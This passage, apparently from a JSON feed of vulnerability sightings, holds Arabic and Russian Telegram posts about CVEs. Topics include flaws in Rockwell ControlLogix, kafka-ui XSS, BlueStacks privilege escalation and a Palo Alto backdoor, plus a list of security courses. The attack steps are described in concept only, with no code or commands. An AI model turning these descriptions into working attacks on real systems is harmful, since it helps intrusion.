\u0628\u0631\u0627\u0645\u062c \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632\u0643 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0633\u0627\u0639\u062f \u0641\u064a \u0627\u0643\u062a\u0634\u0627\u0641 \u0648\u0625\u064a\u0642\u0627\u0641 \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0627\u0644\u0636\u0627\u0631\u0629.\n\n#### \u062e\u0644\u0627\u0635\u0629:\n\u0627\u0644\u062b\u063a\u0631\u0629 CVE-2019-8805 \u0641\u064a \u0625\u0637\u0627\u0631 \u0639\u0645\u0644 Apple EndpointSecurity \u062a\u064f\u0638\u0647\u0631 \u0643\u064a\u0641 \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0644\u0632\u064a\u0627\u062f\u0629 \u0635\u0644\u0627\u062d\u064a\u0627\u062a\u0647\u0645 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645. \u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0627\u0646\u062a\u0638\u0627\u0645 \u0648\u0627\u0644\u062d\u0630\u0631 \u0639\u0646\u062f \u062a\u0646\u0632\u064a\u0644 \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0644\u062d\u0645\u0627\u064a\u0629 \u0646\u0641\u0633\u0643 \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0647\u062c\u0645\u0627\u062a.\n\nALSED404:\n\u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u062e\u0637\u0648\u0631\u0629 (CVE-2024-6242) \u0641\u064a \u0623\u062c\u0647\u0632\u0629 Rockwell Automation ControlLogix 1756.\n\n\u0642\u062f \u064a\u0624\u062f\u064a \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0625\u0644\u0649 \u0625\u0635\u062f\u0627\u0631 \u0623\u0648\u0627\u0645\u0631 CIP \u063a\u064a\u0631 \u0645\u0635\u0631\u062d \u0628\u0647\u0627\u060c \u0645\u0645\u0627 \u064a\u0624\u062b\u0631 \u0639\u0644\u0649 \u062a\u0643\u0648\u064a\u0646\u0627\u062a \u0627\u0644\u062c\u0647\u0627\u0632 \u0648\u0645\u0634\u0627\u0631\u064a\u0639 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645.\n\u0627\u0642\u0631\u0623: https://thehackernews.com/2024/08/critical-flaw-in-rockwell-automation.html\n\nThe Smart Shadow:\n\u0646\u0638\u0631\u0629 \u0639\u0627\u0645\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u0642\u0631\u064a\u0631\n\u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u0627\u0644\u0630\u064a \u0623\u0634\u0631\u062a \u0625\u0644\u064a\u0647 \u064a\u062a\u062d\u062f\u062b \u0639\u0646 \u062b\u063a\u0631\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u062a\u0637\u0628\u064a\u0642 kafka-ui\u060c \u0648\u0647\u064a \u0648\u0627\u062c\u0647\u0629 \u0645\u0633\u062a\u062e\u062f\u0645 \u0644\u0625\u062f\u0627\u0631\u0629 Apache Kafka. \u0627\u0644\u062a\u0642\u0631\u064a\u0631 \u064a\u0648\u0636\u062d \u0646\u0648\u0639\u064a\u0646 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a:\n\n1. GHSL-2023-229: \u062b\u063a\u0631\u0629 XSS (Cross-Site Scripting)\n2. GHSL-2023-230: \u062b\u063a\u0631\u0629 \u0623\u062e\u0631\u0649 \u0644\u0645 \u064a\u062a\u0645 \u062a\u062d\u062f\u064a\u062f \u0646\u0648\u0639\u0647\u0627 \u0628\u0634\u0643\u0644 \u0648\u0627\u0636\u062d \u0641\u064a \u0627\u0644\u0639\u0646\u0648\u0627\u0646\n\n### GHSL-2023-229: \u062b\u063a\u0631\u0629 XSS\n\u062b\u063a\u0631\u0629 XSS \u062a\u062d\u062f\u062b \u0639\u0646\u062f\u0645\u0627 \u064a\u062a\u0645\u0643\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0646 \u062d\u0642\u0646 \u0634\u064a\u0641\u0631\u0629 JavaScript \u0636\u0627\u0631\u0629 \u0641\u064a \u0635\u0641\u062d\u0629 \u0648\u064a\u0628\u060c \u0648\u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u062a\u0646\u0641\u064a\u0630\u0647\u0627 \u0641\u064a \u0645\u062a\u0635\u0641\u062d \u0627\u0644\u0636\u062d\u064a\u0629.\n\n#### \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0636\u0639\u064a\u0641\u0629 (Vulnerable method):\n\u0644\u0646\u0641\u062a\u0631\u0636 \u0623\u0646 \u0644\u062f\u064a\u0646\u0627 \u0637\u0631\u064a\u0642\u0629 \u0641\u064a \u0627\u0644\u0643\u0648\u062f \u062a\u0639\u0631\u0636 \u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0645\u0628\u0627\u0634\u0631\u0629 \u0641\u064a \u0635\u0641\u062d\u0629 HTML \u062f\u0648\u0646 \u062a\u0646\u0642\u064a\u0629:", "creation_timestamp": "2024-12-13T19:00:22.000000Z"}, {"uuid": "8454b4dd-4ecc-4d1a-8559-383b31fe5e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/1612", "content": "2. \u062f\u0648\u0631\u0629 \u0623\u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0648\u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642:\n   - \u0645\u0646\u0635\u0629: \u0631\u0648\u0627\u0642\n   - \u062a\u062a\u0636\u0645\u0646 \u0627\u0644\u062f\u0648\u0631\u0629 \u0634\u0631\u062d\u0627\u064b \u0644\u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647\u0627.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.rwaq.org/courses/information-security-and-penetration-testing)\n\n3. \u062f\u0648\u0631\u0629 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a \u0645\u0646 \u0627\u0644\u0635\u0641\u0631 \u0625\u0644\u0649 \u0627\u0644\u0627\u062d\u062a\u0631\u0627\u0641:\n   - \u0645\u0646\u0635\u0629: Udemy\n   - \u062a\u0631\u0643\u0632 \u0639\u0644\u0649 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a \u0648\u0643\u064a\u0641\u064a\u0629 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0623\u062f\u0648\u0627\u062a \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.udemy.com/course/ethical-hacking-arabic/)\n\n### \u062f\u0648\u0631\u0627\u062a \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629:\n\n1. Web Application Security Testing with OWASP ZAP:\n   - \u0645\u0646\u0635\u0629: Coursera\n   - \u062a\u0639\u0644\u0645 \u0643\u064a\u0641\u064a\u0629 \u0627\u062e\u062a\u0628\u0627\u0631 \u0623\u0645\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0623\u062f\u0627\u0629 OWASP ZAP.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.coursera.org/learn/web-application-security-testing-owasp-zap)\n\n2. Ethical Hacking: System Hacking:\n   - \u0645\u0646\u0635\u0629: LinkedIn Learning\n   - \u062a\u0639\u0644\u0645 \u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0628\u0634\u0643\u0644 \u0622\u0645\u0646.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.linkedin.com/learning/ethical-hacking-system-hacking)\n\n3. Penetration Testing and Ethical Hacking:\n   - \u0645\u0646\u0635\u0629: Pluralsight\n   - \u062f\u0648\u0631\u0629 \u0634\u0627\u0645\u0644\u0629 \u062a\u063a\u0637\u064a \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a \u0648\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.pluralsight.com/courses/penetration-testing-ethical-hacking)\n\n4. Web Application Security for Absolute Beginners:\n   - \u0645\u0646\u0635\u0629: Udemy\n   - \u062f\u0648\u0631\u0629 \u0645\u0648\u062c\u0647\u0629 \u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u062a\u062a\u0646\u0627\u0648\u0644 \u0623\u0633\u0627\u0633\u064a\u0627\u062a \u0623\u0645\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0648\u0643\u064a\u0641\u064a\u0629 \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 \u0645\u0646 \u0627\u0644\u0647\u062c\u0645\u0627\u062a.\n   - [\u0631\u0627\u0628\u0637 \u0627\u0644\u062f\u0648\u0631\u0629](https://www.udemy.com/course/web-application-security-for-absolute-beginners/)\n\n### \u0645\u0635\u0627\u062f\u0631 \u0625\u0636\u0627\u0641\u064a\u0629:\n\n- OWASP (Open Web Application Security Project):\n  - \u0645\u0634\u0631\u0648\u0639 \u0645\u0641\u062a\u0648\u062d \u0627\u0644\u0645\u0635\u062f\u0631 \u064a\u0631\u0643\u0632 \u0639\u0644\u0649 \u062a\u062d\u0633\u064a\u0646 \u0623\u0645\u0627\u0646 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a. \u064a\u0648\u0641\u0631 \u0642\u0648\u0627\u0626\u0645 \u0648\u062b\u0627\u0626\u0642\u064a\u0629 \u0648\u0623\u062f\u0648\u0627\u062a \u064a\u0645\u0643\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629.\n  - [\u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u0648\u0642\u0639](https://owasp.org/)\n\n- Hack The Box:\n  - \u0645\u0646\u0635\u0629 \u062a\u0641\u0627\u0639\u0644\u064a\u0629 \u062a\u0648\u0641\u0631 \u0628\u064a\u0626\u0629 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0627\u062e\u062a\u0631\u0627\u0642 \u0648\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0641\u064a \u0623\u0646\u0638\u0645\u0629 \u062d\u0642\u064a\u0642\u064a\u0629.\n  - [\u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u0648\u0642\u0639](https://www.hackthebox.com/)\n\n- SecurityTube:\n  - \u0645\u0643\u062a\u0628\u0629 \u0641\u064a\u062f\u064a\u0648\u0647\u0627\u062a \u062a\u0639\u0644\u064a\u0645\u064a\u0629 \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u062f\u0631\u0648\u0633 \u0648\u0627\u0644\u0645\u062d\u0627\u0636\u0631\u0627\u062a \u062d\u0648\u0644 \u0623\u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0648\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a.\n  - [\u0631\u0627\u0628\u0637 \u0627\u0644\u0645\u0648\u0642\u0639](http://www.securitytube.net/)\n\n- \u0643\u062a\u0627\u0628 \"The Web Application Hacker's Handbook\":\n  - \u0643\u062a\u0627\u0628 \u0645\u0645\u064a\u0632 \u064a\u062a\u0646\u0627\u0648\u0644 \u0628\u0627\u0644\u062a\u0641\u0635\u064a\u0644 \u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0648\u064a\u0628 \u0648\u0643\u064a\u0641\u064a\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627.\n  - [\u0631\u0627\u0628\u0637 \u0627\u0644\u0643\u062a\u0627\u0628 \u0639\u0644\u0649 \u0623\u0645\u0627\u0632\u0648\u0646](https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470)\n\nThe Smart Shadow:\n\u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u064a BlueStacks (\u0645\u062d\u0627\u0643\u064a \u0627\u0644\u0623\u0646\u062f\u0631\u0648\u064a\u062f) \u0648\u0627\u0644\u062a\u064a \u062a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0627\u0644\u062a\u0633\u0644\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0628\u0627\u0628 \u0627\u0644\u062e\u0644\u0641\u064a \u0644\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 (CVE-2024-33352) \n\n---\n\n\u0634\u0631\u062d \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 CVE-2024-33352 \u0641\u064a BlueStacks\n\n\u0645\u0642\u062f\u0645\u0629:\nBlueStacks \u0647\u0648 \u0645\u062d\u0627\u0643\u064a \u0623\u0646\u062f\u0631\u0648\u064a\u062f \u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u062a\u0634\u063a\u064a\u0644 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u0644\u0623\u0646\u062f\u0631\u0648\u064a\u062f \u0639\u0644\u0649 \u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631. \u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062d\u0627\u0643\u064a \u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0639\u0628\u0631 \u0627\u0644\u062a\u0633\u0644\u0644 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u0628\u0627\u0628 \u0627\u0644\u062e\u0644\u0641\u064a \u0644\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629.\n\n\u0645\u0627 \u0647\u064a \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 CVE-2024-33352\u061f\n\nCVE-2024-33352 \u0647\u064a \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0641\u064a BlueStacks\u060c \u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a (Privilege Escalation) \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0628\u0627\u0628 \u0627\u0644\u062e\u0644\u0641\u064a \u0644\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 (VM backdooring). \u0647\u0630\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u064a\u0645\u0643\u0646\u0647 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0623\u0639\u0644\u0649 \u0645\u0645\u0627 \u0647\u0648 \u0645\u0633\u0645\u0648\u062d \u0644\u0647\u060c \u0645\u0645\u0627 \u064a\u0645\u0643\u0646\u0647 \u0645\u0646 \u062a\u0646\u0641\u064a\u0630 \u0623\u0648\u0627\u0645\u0631 \u0636\u0627\u0631\u0629 \u0623\u0648 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0628\u064a\u0627\u0646\u0627\u062a \u062d\u0633\u0627\u0633\u0629.\n\n\u0643\u064a\u0641 \u062a\u0639\u0645\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629\u061f\n\n1. \u0627\u0644\u0628\u0627\u0628 \u0627\u0644\u062e\u0644\u0641\u064a \u0644\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 (VM backdooring):\n   - \u062a\u0633\u062a\u062e\u062f\u0645 BlueStacks \u062a\u0642\u0646\u064a\u0629 \u0627\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0644\u062a\u0634\u063a\u064a\u0644 \u0646\u0638\u0627\u0645 \u0627\u0644\u0623\u0646\u062f\u0631\u0648\u064a\u062f \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631. \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0644\u0625\u062f\u062e\u0627\u0644 \u0643\u0648\u062f \u0636\u0627\u0631 (malicious code) \u062f\u0627\u062e\u0644 \u0627\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629.\n   \n2. \u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a (Privilege Escalation):\n   - \u0628\u0639\u062f \u0625\u062f\u062e\u0627\u0644 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0636\u0627\u0631\u060c \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u062a\u0635\u0639\u064a\u062f \u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a\u0647 \u062f\u0627\u062e\u0644 \u0627\u0644\u0646\u0638\u0627\u0645. \u0647\u0630\u0627 \u064a\u0639\u0646\u064a \u0623\u0646\u0647 \u064a\u0645\u0643\u0646\u0647 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0623\u0639\u0644\u0649 \u0645\u062b\u0644 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0645\u062f\u064a\u0631 (Administrator privileges)\u060c \u0645\u0645\u0627 \u064a\u062a\u064a\u062d \u0644\u0647 \u062a\u0646\u0641\u064a\u0630 \u0623\u0648\u0627\u0645\u0631 \u0636\u0627\u0631\u0629 \u0623\u0648 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u062d\u0633\u0627\u0633\u0629.\n\n\u0645\u062b\u0627\u0644 \u0639\u0645\u0644\u064a:\n\n\u0644\u0646\u0641\u062a\u0631\u0636 \u0623\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0644\u062f\u064a\u0647 \u0648\u0635\u0648\u0644 \u0645\u062d\u062f\u0648\u062f \u0625\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0643\u0645\u0628\u064a\u0648\u062a\u0631 \u0627\u0644\u0630\u064a \u064a\u0639\u0645\u0644 \u0639\u0644\u064a\u0647 BlueStacks. \u064a\u0645\u0643\u0646\u0647 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 CVE-2024-33352 \u0628\u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n\n1. \u0625\u062f\u062e\u0627\u0644 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0636\u0627\u0631:\n   - \u064a\u0642\u0648\u0645 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u0625\u062f\u062e\u0627\u0644 \u0643\u0648\u062f \u0636\u0627\u0631 \u062f\u0627\u062e\u0644 \u0627\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0644\u0640 BlueStacks. \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062d\u062f\u062b \u0630\u0644\u0643 \u0645\u0646 \u062e\u0644\u0627\u0644 \u062a\u0646\u0632\u064a\u0644 \u062a\u0637\u0628\u064a\u0642 \u0623\u0646\u062f\u0631\u0648\u064a\u062f \u0636\u0627\u0631 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u062e\u0628\u064a\u062b.\n\n2. \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0636\u0627\u0631:\n   - \u0639\u0646\u062f \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0636\u0627\u0631 \u062f\u0627\u062e\u0644 BlueStacks\u060c \u064a\u062a\u0645 \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0636\u0627\u0631 \u062f\u0627\u062e\u0644 \u0627\u0644\u0622\u0644\u0629 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629.", "creation_timestamp": "2024-12-13T19:00:22.000000Z"}, {"uuid": "5d02aa91-3652-457c-b74d-bd1efb784272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/kasperskyb2b/1574", "content": "\u2b50\ufe0f \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411\n\n\ud83d\ude11 \u0423\u0433\u0440\u043e\u0437\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0410\u0421\u0423 \u0432 3 \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2024 \u0433\u043e\u0434\u0430: \u043e\u0431\u0437\u043e\u0440 \u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430. \u0422\u043e\u043f \u0441\u0438\u0441\u0442\u0435\u043c, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u0432\u043e\u0437\u0433\u043b\u0430\u0432\u0438\u043b\u0438 \u0431\u0438\u043e\u043c\u0435\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \n\n\ud83d\uddff \u0420\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Masque, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 2024 \u0433\u043e\u0434\u0443 \u0438 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u0432\u044b\u0433\u043e\u0434\u044b.  \u0417\u0430\u0445\u043e\u0434\u044f\u0442 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u0442\u0451\u043a\u0448\u0438\u0435 \u0431\u0438\u043b\u0434\u0435\u0440\u044b Lockbit \u0438 Babuk.\n\n\ud83d\ude80 \u0412 \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u0430\u0445 Palo Alto, \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 CVE-2024-9474, \u0432\u044b\u043b\u043e\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 Littlelamb.Wooltea. \u041e\u0447\u0435\u043d\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043d\u0451\u043c \u0445\u043e\u0440\u043e\u0448\u043e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442, \u043a\u0430\u043a \u043e\u043f\u044b\u0442\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n\ud83d\udfe3\u0421\u043f\u0438\u0441\u043e\u043a \u0438\u0437 2,5 \u0442\u044b\u0441\u044f\u0447 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 Astrill VPN, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0447\u0435\u043d\u044c \u043b\u044e\u0431\u044f\u0442 \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438\u0435 APT.\n\n\u2764\ufe0f\u041e\u0431\u0437\u043e\u0440 \u0444\u0438\u0448\u0438\u043d\u0433-\u043a\u0438\u0442\u0430 